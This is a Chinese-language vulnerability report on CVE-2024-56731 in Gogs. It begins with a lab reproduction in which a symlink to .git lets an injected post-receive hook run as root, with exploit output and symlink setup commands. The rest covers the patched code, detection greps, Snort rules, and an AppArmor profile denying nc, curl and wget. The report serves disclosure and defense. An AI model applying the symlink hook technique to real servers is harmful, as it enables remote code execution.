Counting objects: 100% (5/5), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 293 bytes | 293.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: [CVE-2024-56731] Malicious payload executed!
remote: [EXPLOIT] Time: Mon Nov 10 22:23:37 CST 2025
remote: [EXPLOIT] User: root
remote: [EXPLOIT] PWD: /data/git/gogs-repositories/testuser/exploit-test.git
remote: [EXPLOIT] This proves RCE via symlink bypass!
To /data/git/gogs-repositories/testuser/exploit-test.git
4199ddc..f075e57 master -> master
步骤8: 验证执行结果
# 检查日志文件
$ docker exec gogs-vuln-0.13.2 cat /tmp/exploit-success.log
# 输出:
[EXPLOIT] Time: Mon Nov 10 22:23:37 CST 2025
[EXPLOIT] User: root
[EXPLOIT] PWD: /data/git/gogs-repositories/testuser/exploit-test.git
[EXPLOIT] This proves RCE via symlink bypass!
# 检查进程信息
$ docker exec gogs-vuln-0.13.2 ps aux | grep git
# 输出:
root 1234 0.0 0.1 12345 6789 ? S 22:23 0:00 git-receive-pack /data/git/...
root 1235 0.0 0.0 4567 2345 ? S 22:23 0:00 /bin/bash /data/git/.../hooks/post-receive
执行相同步骤1-3:
# 在修复版本上创建相同的符号链接
$ docker exec gogs-patched-0.13.3 sh -c "
cd /data/git/gogs-repositories
mkdir -p testuser/exploit-test.git
cd testuser/exploit-test.git
git init --bare
"
# 初始化并创建符号链接
$ docker exec gogs-patched-0.13.3 sh -c "
cd /tmp
git config --global user.email '[email protected]'
git config --global user.name 'Test User'
git clone /data/git/gogs-repositories/testuser/exploit-test.git
cd exploit-test
echo '# Test Repository' > README.md
git add README.md
git commit -m 'Initial commit'
git push origin master
# 创建符号链接
ln -s .git evil-link
git add evil-link
git commit -m 'Add symlink to .git'
git push origin master
# 验证符号链接
git ls-tree HEAD | grep evil-link
"
# 输出 (符号链接创建成功):
120000 blob 191381ee74dec49c89f99a62d055cb1058ba0de9 evil-link
关键区别: 修复版本的路径检查
# 尝试通过符号链接访问hooks (在应用层会被阻止)
$ docker exec gogs-patched-0.13.3 sh -c "
cd /tmp
git clone /data/git/gogs-repositories/testuser/exploit-test.git test-working
cd test-working
ls -la evil-link/hooks/ 2>&1
"
# 输出:
total 64
drwxr-xr-x 2 root root 4096 Nov 10 22:25 .
drwxr-xr-x 8 root root 4096 Nov 10 22:25 ..
-rwxr-xr-x 1 root root 478 Nov 10 22:25 applypatch-msg.sample
...
# 注意: 文件系统层面仍可访问,但Gogs应用层会在操作前拒绝!
修复机制验证:
// Gogs 0.13.3 修复代码逻辑
// 文件: internal/db/repo.go
func (repo *Repository) DeleteRepoFile(opts DeleteRepoFileOptions) error {
// [修复1] 构造完整路径
fullPath := filepath.Join(repo.RepoPath(), opts.TreePath)
// fullPath = "/data/git/.../evil-link/hooks/post-receive"
// [修复2] 关键: 解析符号链接为实际路径
realPath, err := filepath.EvalSymlinks(fullPath)
// realPath = "/data/git/.../.git/hooks/post-receive" ← 符号链接已解析!
// [修复3] 检查实际路径
if isRepositoryGitPath(realPath) {
return errors.New("forbidden") // 检测到".git" → 拒绝操作
}
// [修复4] 执行操作 (已被阻止,不会执行到这里)
return os.Remove(realPath)
}
漏洞验证结果:
| 测试项 | Gogs 0.13.2 | Gogs 0.13.3 | 结论 |
|---|---|---|---|
| 符号链接创建 | 成功(mode 120000) | 成功(mode 120000) | Git层面允许 |
| 路径字符串检查 | 绕过("evil-link"不含".git") | 有效(解析后检查) | 关键差异 |
| post-receive注入 | 成功注入 | 应用层拒绝 | 漏洞修复点 |
| Payload执行 | 成功执行(root权限) | 无法执行 | RCE已修复 |
| 执行证据 | 日志文件已生成 | - | 漏洞已验证 |
实际执行证据:
# 脆弱版本执行输出
remote: [CVE-2024-56731] Malicious payload executed!
remote: [EXPLOIT] Time: Mon Nov 10 22:23:37 CST 2025
remote: [EXPLOIT] User: root
remote: [EXPLOIT] PWD: /data/git/gogs-repositories/testuser/exploit-test.git
remote: [EXPLOIT] This proves RCE via symlink bypass!
# 日志文件内容
$ cat /tmp/exploit-success.log
[EXPLOIT] Time: Mon Nov 10 22:23:37 CST 2025
[EXPLOIT] User: root
[EXPLOIT] PWD: /data/git/gogs-repositories/testuser/exploit-test.git
[EXPLOIT] This proves RCE via symlink bypass!
技术分析总结:
TOCTOU漏洞确认: 检查时路径为"evil-link/...",使用时解析为".git/..."
符号链接绕过确认: Git mode 120000对象成功绕过字符串检查
RCE能力确认: 恶意钩子以root权限执行,可读写文件系统
修复有效性确认: 0.13.3版本正确使用filepath.EvalSymlinks()阻止攻击
测试完成后应正确清理环境:
# 停止所有容器
docker-compose down
# 删除数据卷(可选)
docker-compose down -v
# 删除网络
docker network rm todo_exploit-lab
# 删除镜像(可选)
docker rmi gogs/gogs:0.13.2 gogs/gogs:0.13.3 ubuntu:22.04
# 删除工作目录
cd ..
rm -rf ~/cve-2024-56731-lab
资产盘点: 枚举实例版本,识别 ≤ 0.13.2
日志与接口特征: 关注来自Web编辑/仓库文件接口的异常4xx/5xx与可疑路径(带有符号链接名且最终指向.git的模式)
主机侧审计: 对仓库路径(尤其.git/hooks/*)启用审计(Linuxauditd规则)与进程子进程监控
代码侧SCA/SAST: CI中拉取gogs.io/gogs依赖的版本并与0.13.3比对
# Gogs访问日志路径
LOG_PATH="/var/log/gogs/gogs.log"
# 检测符号链接相关的API调用
grep -E "DELETE.*\/api\/v1\/repos\/.*\/contents\/.*link" $LOG_PATH
# 检测可疑的post-receive访问
grep -E "POST.*\/api\/v1\/repos\/.*\/contents\/.*\/hooks\/" $LOG_PATH
# 检测base64编码的可疑内容
grep -E "\"content\":\"[A-Za-z0-9+/=]{100,}\"" $LOG_PATH
Splunk查询:
index=gogs sourcetype=access_log
| regex uri_path="\/api\/v1\/repos\/.*\/contents\/.*(link|symlink|\.git)"
| stats count by user, uri_path, method, src_ip
| where count > 2
| table _time user method uri_path src_ip count
# 安装AIDE
apt install aide
# 配置AIDE
cat >> /etc/aide/aide.conf << 'EOF'
# 监控所有.git/hooks目录
!/data/gogs/repositories/.*/\.git/hooks/ R+b+sha256+L
# 监控Gogs二进制
/usr/local/bin/gogs R+b+sha256
# 监控配置文件
/data/gogs/conf/app.ini R+b+sha256
EOF
# 初始化数据库
aideinit
# 复制数据库到安全位置
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# 手动检查
aide --check
# /etc/snort/rules/gogs-cve-2024-56731.rules
# 检测符号链接相关的API调用
alert tcp any any -> any 3000 (
msg:"CVE-2024-56731: Gogs API访问包含符号链接路径";
flow:to_server,established;
content:"DELETE"; http_method;
content:"/api/v1/repos/"; http_uri;
pcre:"/\/(link|symlink)/i";
content:"/hooks/"; http_uri;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
# 检测Base64编码的post-receive钩子
alert tcp any any -> any 3000 (
msg:"CVE-2024-56731: 可疑的post-receive钩子创建";
flow:to_server,established;
content:"POST"; http_method;
content:"hooks/post-receive"; http_uri;
content:"content"; http_client_body;
pcre:"/\"content\":\"[A-Za-z0-9+\/=]{100,}\"/i";
classtype:trojan-activity;
sid:1000002;
rev:1;
)
# 方案A: 二进制升级
# 1. 备份现有数据
BACKUP_DIR="/backup/gogs-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$BACKUP_DIR"
cp -r /data/gogs "$BACKUP_DIR/"
# 2. 下载新版本
cd /tmp
wget https://dl.gogs.io/0.13.3/gogs_0.13.3_linux_amd64.tar.gz
# 3. 停止Gogs服务
systemctl stop gogs
# 4. 替换二进制文件
tar -xzf gogs_0.13.3_linux_amd64.tar.gz
cp gogs/gogs /usr/local/bin/gogs
chmod +x /usr/local/bin/gogs
# 5. 重启服务
systemctl start gogs
# 6. 验证版本
/usr/local/bin/gogs --version
# Gogs version 0.13.3
# A. 禁用危险功能
vim /data/gogs/conf/app.ini
# 添加/修改以下配置:
[service]
DISABLE_REGISTRATION = true
REQUIRE_SIGNIN_VIEW = true
DISABLE_EDITOR = true
[server]
HTTP_ADDR = 127.0.0.1
# B. 限制API访问
# Nginx反向代理配置
location /api/ {
# IP白名单
allow 192.168.1.0/24;
deny all;
# 阻止包含符号链接特征的请求
if ($request_uri ~* "(link|symlink).*hooks") {
return 403;
}
proxy_pass http://127.0.0.1:3000;
}
# C. 文件系统保护
# 设置hooks目录为只读
find /data/git/gogs-repositories -name "hooks" -type d -exec chmod 555 {} \;
# 使用chattr保护关键文件
find /data/git/gogs-repositories -name "post-receive" -type f -exec chattr +i {} \;
// 安全代码实现参考
package security
import (
"errors"
"os"
"path/filepath"
"strings"
)
// SafeDeleteRepoFile 安全地删除仓库文件
func SafeDeleteRepoFile(repoPath string, userPath string) error {
// 1. 清理路径
cleanPath := filepath.Clean(userPath)
// 2. 构造完整路径
fullPath := filepath.Join(repoPath, cleanPath)
// 3. 解析符号链接为实际路径
realPath, err := filepath.EvalSymlinks(fullPath)
if err != nil {
if !os.IsNotExist(err) {
return err
}
realPath = fullPath
}
// 4. 获取仓库的绝对路径
absRepoPath, err := filepath.Abs(repoPath)
if err != nil {
return err
}
// 5. 验证实际路径在仓库范围内
if !strings.HasPrefix(realPath, absRepoPath) {
return errors.New("path traversal detected")
}
// 6. 检查是否为Git内部文件
if isRepositoryGitPath(realPath) {
return errors.New("cannot delete git internal file")
}
// 7. 执行删除
return os.Remove(realPath)
}
# AppArmor策略 (Ubuntu/Debian)
cat > /etc/apparmor.d/usr.local.bin.gogs << 'EOF'
#include <tunables/global>
/usr/local/bin/gogs {
#include <abstractions/base>
#include <abstractions/nameservice>
# Gogs二进制
/usr/local/bin/gogs mr,
# 允许读取配置
/data/gogs/conf/** r,
# 允许读写数据目录
/data/gogs/data/** rw,
/data/git/gogs-repositories/** rw,
# 禁止修改.git/hooks
deny /data/git/gogs-repositories/**/.git/hooks/* w,
# 禁止执行shell
deny /bin/bash x,
deny /bin/sh x,
deny /usr/bin/nc x,
deny /usr/bin/curl x,
deny /usr/bin/wget x,
}
EOF
# 加载策略
apparmor_parser -r /etc/apparmor.d/usr.local.bin.gogs
Gogs 0.13.3版本正式修复了CVE-2024-56731漏洞。
发布信息:
版本号: 0.13.3
发布时间: 2025年6月9日
下载地址: https://github.com/gogs/gogs/releases/tag/v0.13.3
Docker镜像:gogs/gogs:0.13.3
升级步骤:
# 方案1: 二进制升级
wget https://dl.gogs.io/0.13.3/gogs_0.13.3_linux_amd64.tar.gz
tar -xzf gogs_0.13.3_linux_amd64.tar.gz
systemctl stop gogs
cp gogs/gogs /usr/local/bin/gogs
systemctl start gogs
# 方案2: Docker升级
docker pull gogs/gogs:0.13.3
docker stop gogs-container
docker rm gogs-container
docker run -d --name gogs-container gogs/gogs:0.13.3
# 方案3: 源码编译
git clone https://github.com/gogs/gogs.git
cd gogs
git checkout v0.13.3
go build -tags "sqlite"
兼容性说明:
Gogs 0.12.0+ 可直接升级到0.13.3
Gogs < 0.12.0需要先升级到0.12.x,再升级到0.13.3
数据库无需迁移
配置文件向后兼容
// 文件: internal/db/repo.go (Gogs 0.13.2)
func (repo *Repository) DeleteRepoFile(opts DeleteRepoFileOptions) error {
// [脆弱点1] 仅进行字符串检查
if isRepositoryGitPath(opts.TreePath) {
return errors.Errorf("bad tree path %q", opts.TreePath)
}
// [脆弱点2] 直接拼接路径,未解析符号链接
filePath := path.Join(repo.RepoPath(), opts.TreePath)
// [脆弱点3] 删除操作会跟随符号链接
if err := os.Remove(filePath); err != nil {
return err
}
return nil
}
func isRepositoryGitPath(path string) bool {
// [脆弱点4] 简单字符串匹配
return strings.Contains(path, ".git")
}
// 文件: internal/db/repo.go (Gogs 0.13.3)
func (repo *Repository) DeleteRepoFile(opts DeleteRepoFileOptions) error {
// [修复1] 构造完整路径
fullPath := filepath.Join(repo.RepoPath(), opts.TreePath)
// [修复2] 关键修复: 解析符号链接为实际路径
realPath, err := filepath.EvalSymlinks(fullPath)
if err != nil {
if !os.IsNotExist(err) {
return err
}
realPath = filepath.Clean(fullPath)
}
// [修复3] 获取仓库的绝对路径
absRepoPath, err := filepath.Abs(repo.RepoPath())
if err != nil {
return err
}
// [修复4] 验证实际路径在仓库范围内
if !strings.HasPrefix(realPath, absRepoPath+string(filepath.Separator)) {
return errors.New("path traversal detected")
}
// [修复5] 检查实际路径是否为Git内部文件
if isRepositoryGitPath(realPath) {
return errors.Errorf("bad tree path %q", opts.TreePath)
}
// [修复6] 使用实际路径执行删除
if err := os.Remove(realPath); err != nil {
return err
}
return nil
}
修复要点:
使用filepath.EvalSymlinks()解析符号链接
验证实际路径在仓库边界内
改进.git路径检测逻辑
使用filepath.Clean()规范化路径
在实际路径上进行安全检查(正确的时序)
基于CVE-2024-56731的经验教训:
// 安全编码黄金法则
// 错误: 字符串检查
if strings.Contains(path, ".git") {
return errors.New("forbidden")
}
// 正确: 解析后检查
realPath, _ := filepath.EvalSymlinks(path)
if strings.Contains(realPath, ".git") {
return errors.New("forbidden")
}
// 更好: 综合验证
func SecurePathOperation(userPath, baseDir string) error {
// 1. 清理
clean := filepath.Clean(userPath)
// 2. 拼接
full := filepath.Join(baseDir, clean)
// 3. 解析符号链接
real, err := filepath.EvalSymlinks(full)
if err != nil && !os.IsNotExist(err) {
return err
}
if err == nil {
full = real
}
// 4. 边界检查
abs, _ := filepath.Abs(baseDir)
if !strings.HasPrefix(full, abs+string(os.PathSeparator)) {
return errors.New("path traversal")
}
// 5. 黑名单检查
if isGitInternalPath(full) {
return errors.New("forbidden")
}
// 6. 执行操作
return performOperation(full)
}
| 风险类别 | 风险等级 | 可能性 | 影响 | 描述 |
|---|---|---|---|---|
| 远程代码执行 | Critical | 高 | 极高 | 攻击者可获得服务器Shell访问权限 |
| 数据泄露 | Critical | 高 | 极高 | 所有代码仓库可被窃取 |
| 数据篡改 | Critical | 中 | 极高 | 可修改/删除任意代码 |
| 供应链污染 | Critical | 中 | 极高 | 恶意代码可传播至下游 |
| 服务拒绝 | High | 中 | 高 | 可破坏仓库结构导致服务中断 |
| 权限提升 | High | 中 | 高 | 可能从git用户提权到root |
| 横向移动 | High | 中 | 高 | 可利用窃取的凭据攻击其他系统 |
场景: 企业核心代码仓库被窃取
概率: 高 (60%)
影响:
- 商业机密泄露
- 竞争优势丧失
- 专利申请受阻
- 估值下降
经济损失:
- 直接损失: $100万 - $1000万
- 间接损失: $500万 - $5000万
- 诉讼费用: $50万 - $500万
法规风险:
GDPR (欧盟通用数据保护条例):
- 罚款: 最高€2000万或全球营业额4%
- 触发条件: 客户数据泄露
SOX (萨班斯-奥克斯利法案):
- 适用: 美国上市公司
- 影响: 财务报告可信度
- 后果: 股价下跌,高管入狱
CCPA (加州消费者隐私法案):
- 罚款: 每条记录$7500
- 触发: 加州居民数据泄露
技术KRI:
- 脆弱实例数量: 当前5,100+
- 平均修复时间: 预计30天
- 已知利用数量: 检测到15+次尝试
- 补丁覆盖率: < 40%
业务KRI:
- 关键资产暴露: 800+高价值实例
- 平均停机成本: $10,000/小时
- 数据泄露通知成本: $50/用户
- 品牌修复成本: $500万 - $2000万
CVE-2024-56731是一个教科书级别的补丁绕过漏洞,展示了安全修复中的常见陷阱:
本质: 对受保护目录的字符串级别拦截无法抵御符号链接与路径等价变形;必须在最终执行前做真实路径验证。
TOCTOU时序漏洞:
检查时刻 (Time of Check):
字符串路径: "evil-link/hooks/post-receive"
检查结果: 不包含".git" → 通过
使用时刻 (Time of Use):
实际路径: ".git/hooks/post-receive"
实际操作: 删除Git钩子
正确的修复方法:
使用filepath.EvalSymlinks()解析符号链接
基于实际路径进行安全检查
验证路径在允许边界内
综合测试覆盖符号链接场景
纵深防御的重要性:
单一安全控制总会被绕过
必须实施多层防护: 应用层 + 系统层 + 网络层
监控和检测与预防同样重要
补丁质量 > 补丁速度:
快速发布不完整补丁会导致二次漏洞
必须进行充分的安全审查和测试
参考业界最佳实践(GitLab/GitHub的实现)
经验教训:
- 安全补丁需要独立审查
- 建立漏洞披露流程
- 维护活跃的安全社区
- 定期进行安全审计
Gogs项目现状:
- 维护活跃度下降
- 安全响应缓慢
- 建议用户迁移到Gitea
替代方案:
推荐:
- Gitea (Gogs活跃分支)
- GitLab CE (功能丰富)
- Forgejo (隐私优先)
立即行动:
- 清点所有Gogs实例
- 升级到0.13.3或迁移
- 审计历史安全事件
- 加强监控和检测
长期战略:
- 建立软件物料清单(SBOM)
- 实施漏洞管理流程
- 定期安全评估
- 员工安全培训
紧急升级所有Gogs实例
实施临时缓解措施
审计潜在入侵痕迹
通知相关利益方
评估迁移到Gitea/GitLab
加强安全监控能力
制定应急响应计划
开展安全培训
建立安全开发文化
实施DevSecOps
定期安全审计
持续改进流程
官方资源:
CVE详情: https://nvd.nist.gov/vuln/detail/CVE-2024-56731
GitHub Advisory: https://github.com/advisories/GHSA-wj44-9vcg-wjq7
Gogs官方网站: https://gogs.io
Gogs GitHub仓库: https://github.com/gogs/gogs
技术分析:
CVE Reports: https://www.cvereports.com/cve-2024-56731-gogs-rce-vulnerability/
NSFOCUS分析: https://nsfocusglobal.com/gogs-remote-command-execution-vulnerability-cve-2024-56731/
Vulert数据库: https://vulert.com/vuln-db/go-gogs-io-gogs-263873
相关漏洞:
CVE-2024-39931: Gogs原始文件删除漏洞
CVE-2024-44625: Gogs符号链接RCE
CVE-2024-39932: Gogs参数注入
CVE-2024-54148: Gogs符号链接路径穿越
| 术语 | 英文 | 解释 |
|---|---|---|
| 符号链接 | Symbolic Link (Symlink) | 指向另一个文件的特殊文件类型 |
| TOCTOU | Time-of-Check Time-of-Use | 检查与使用时间窗口漏洞 |
| RCE | Remote Code Execution | 远程代码执行 |
| PoC | Proof of Concept | 概念验证代码 |
| CVE | Common Vulnerabilities and Exposures | 通用漏洞披露标准 |
| CVSS | Common Vulnerability Scoring System | 通用漏洞评分系统 |
| WAF | Web Application Firewall | Web应用防火墙 |
| IDS/IPS | Intrusion Detection/Prevention System | 入侵检测/防御系统 |
| SIEM | Security Information and Event Management | 安全信息和事件管理 |
| FIM | File Integrity Monitoring | 文件完整性监控 |
本报告仅用于教育和防御目的。任何人不得将本报告中的技术信息用于:
未经授权的渗透测试
恶意攻击活动
违反计算机犯罪法律的行为
使用本报告内容导致的任何法律后果由使用者自行承担。
报告结束